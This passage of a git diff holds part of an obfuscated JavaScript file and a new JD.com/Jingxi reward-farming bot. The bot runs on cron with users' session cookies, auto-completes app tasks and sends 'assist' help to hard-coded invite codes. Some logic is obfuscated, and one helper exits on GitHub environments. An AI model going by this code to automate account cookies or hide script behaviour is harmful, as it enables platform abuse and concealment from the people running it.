8(G')](_0x5b2a44[_0xb3c9('63d','IV4a')]);}}}catch(_0x28636e){if(_0x2f1e88[_0xb3c9('63e','kKc[')](_0x2f1e88[_0xb3c9('63f','QPLX')],_0x2f1e88[_0xb3c9('640','pLk9')])){console[_0xb3c9('2a3','XZos')](_0x28636e);console[_0xb3c9('13','7hNk')](_0xb3c9('641','XZos'));return![];}else{if(_0x2f1e88[_0xb3c9('642','XZos')](safeGet,_0x5b2a44)){_0x5b2a44=JSON[_0xb3c9('222','A)dp')](_0x5b2a44);console[_0xb3c9('643','vGPn')](_0x5b2a44[_0xb3c9('644','[XP5')]);}}}}function jsonParse(_0x3d0e36){var _0x2b04ad={'XFWfB':function(_0x1ac8c4,_0x183693){return _0x1ac8c4==_0x183693;},'bSCwR':_0xb3c9('645','QPLX'),'CsAPh':function(_0x50f642,_0x11d265){return _0x50f642===_0x11d265;},'ZQDNG':_0xb3c9('646','px$D'),'VMDSM':_0xb3c9('647','BA!&')};if(_0x2b04ad[_0xb3c9('648','12Q8')](typeof _0x3d0e36,_0x2b04ad[_0xb3c9('649','54E@')])){try{if(_0x2b04ad[_0xb3c9('64a','7hNk')](_0x2b04ad[_0xb3c9('64b','KqoH')],_0x2b04ad[_0xb3c9('64c','RRYS')])){return JSON[_0xb3c9('64d','#5oK')](_0x3d0e36);}else{$[_0xb3c9('425','UFS%')](e,resp);}}catch(_0x18b164){console[_0xb3c9('4e','Hi&L')](_0x18b164);$[_0xb3c9('64e','USUq')]($[_0xb3c9('8b','oJ7R')],'',_0x2b04ad[_0xb3c9('64f',']q[h')]);return[];}}}function requireConfig(){var _0x463e22={'HiVVZ':function(_0x12cfa0){return _0x12cfa0();}};return new Promise(_0x3170c7=>{if($[_0xb3c9('650','W%VK')]()&&process[_0xb3c9('651','Us6T')][_0xb3c9('652','IV4a')]){exchangeFlag=process[_0xb3c9('653','0XYQ')][_0xb3c9('654','0XYQ')]||exchangeFlag;}_0x463e22[_0xb3c9('655','xgMb')](_0x3170c7);});};_0xodq='jsjiami.com.v6'; + +// prettier-ignore +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxstory.js b/activity/jd_jxstory.js new file mode 100644 index 0000000..eb7bd8e --- /dev/null +++ b/activity/jd_jxstory.js @@ -0,0 +1,667 @@ +/* +京喜故事 +活动入口 :京喜APP->首页浮动窗口去领钱/京喜工厂-金牌厂长 +每天运行一次即可 + + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜故事 +10 7 * * * jd_jxstory.js, tag=京喜故事, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_jxstory.js,tag=京喜故事 + +===============Surge================= +京喜故事 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jxstory.js + +============小火箭========= +京喜故事 = type=cron,script-path=jd_jxstory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ + + +const $ = new Env('京喜故事'); +const JD_API_HOST = 'https://m.jingxi.com'; + +const notify = $.isNode() ? require('../sendNotify') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = 3; +let cookiesArr = [], cookie = '', message = ''; +const inviteCodes = ['qSDHMwUOz7onHcMyaju4KmdSXWf0dlv7LVnTt1Wzemo=@iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=', 'iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=']; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdJxStory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdJxStory() { + await userInfo() + await helpFriends() + await sign() + await taskList() + for(let i =0;i { + $.get(taskurl('SignIn', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`签到钞票:收取成功,获得 ${data['data']['rewardMoneyToday']}`) + message += `【签到钞票】:收取成功,获得 ${data['data']['rewardMoneyToday']}\n` + } else { + console.log(`签到钞票:收取失败,${data.msg}`) + message += `【签到钞票】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + $.get(newtasksysUrl('GetUserTaskStatusList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: // 京喜工厂投入电力 + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}钞票`) + message += `【每日任务】领奖成功,共计 ${$.ele} 钞票\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 钞票翻倍任务 +async function cardList() { + for (let i = 0; i < 10; ++i) { + await readyCard(); + } +} +function readyCard() { + return new Promise(async resolve => { + $.get(taskurl('ReadyCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + + if(data['ret']===0 && data['data']['flopFinishNumber']{ + return { + "cardId" : vo['cardId'], + "cardPosition" : index+1, + "cardStatus" :0 + } + }) + cardInfo[0]['cardStatus'] = 1 + + await selectCard(cardInfo) + // await $.wait(1000); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 选择卡片 +function selectCard(cardInfo) { + return new Promise(async resolve => { + $.get(taskurl('SelectCard',`cardInfo=${JSON.stringify({"cardInfo":cardInfo})}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret']===0){ + await $.wait(10000); + await finishCard(cardInfo[0]['cardId']) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 完成卡片 +function finishCard(cardId) { + return new Promise(async resolve => { + $.get(taskurl('FinishCard',`cardid=${cardId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret']===0){ + let ratio = data['data']['cardInfo'].filter(vo=>vo['cardId']===cardId)[0]['cardRatio'] + console.log(`翻倍成功,获得${ratio}%,共计获得${data['data']['earnRatio']}%`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 升级 +function upgrade() { + return new Promise(async resolve => { + $.get(taskurl('UpgradeUserLevelDraw', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0&&data['data']['active']!=='') { + console.log(`升级成功,获得${JSON.stringify(data['data'])}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 点击 +function increase() { + return new Promise(async resolve => { + $.get(taskurl('IncreaseUserMoney'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`点击厂长成功,获得 ${data['data']['moneyNum']} 钞票`) + }else if(data['ret'] === 2005){ + // 点击上限 + $.click = false + }else{ + console.log(`点击厂长过快,休息25秒`) + await $.wait(25000); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (code) { + if ($.shareId === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + await assistFriend(code); + } + } +} +// 帮助用户 +function assistFriend(shareId) { + return new Promise(async resolve => { + $.get(taskurl('AssistFriend',`shareId=${escape(shareId)}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`助力朋友:${shareId}成功`) + } else { + console.log(`助力朋友[${shareId}]失败:${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + $.get(newtasksysUrl('Award', taskId), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}钞票`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + $.get(newtasksysUrl('DoTask', taskId), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('GetUserInfo', ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.shareId = data['shareId']; + console.log(`分享码: ${data['shareId']}`); + $.currentMoneyNum = data.currentMoneyNum; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function showMsg() { + return new Promise(async resolve => { + let ctrTemp; + if ($.isNode() && process.env.JXSTORY_NOTIFY_CONTROL) { + ctrTemp = `${process.env.JXSTORY_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdJxStory')) { + ctrTemp = $.getdata('jdJxStory') === 'false'; + } else { + ctrTemp = `${jdNotify}` === 'false'; + } + if (ctrTemp) { + $.msg($.name, '', message); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${message}`); + } + } else { + $.log(`\n${message}\n`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jxstory/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdJxStoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskurl(functionId, body = '') { + return { + url: `${JD_API_HOST}/jxstory/userinfo/${functionId}?bizcode=jxstory&${body}&_time=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1`, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'jdpingou;iPhone;3.15.2;14.2;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/158;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html?ptag=138963.4.3', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=jxstory&bizCode=jxstory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`; + if (taskId) { + url += `&taskId=${taskId}`; + } + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "q+": Math.floor((this.getMonth() + 3) / 3), //季度 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof 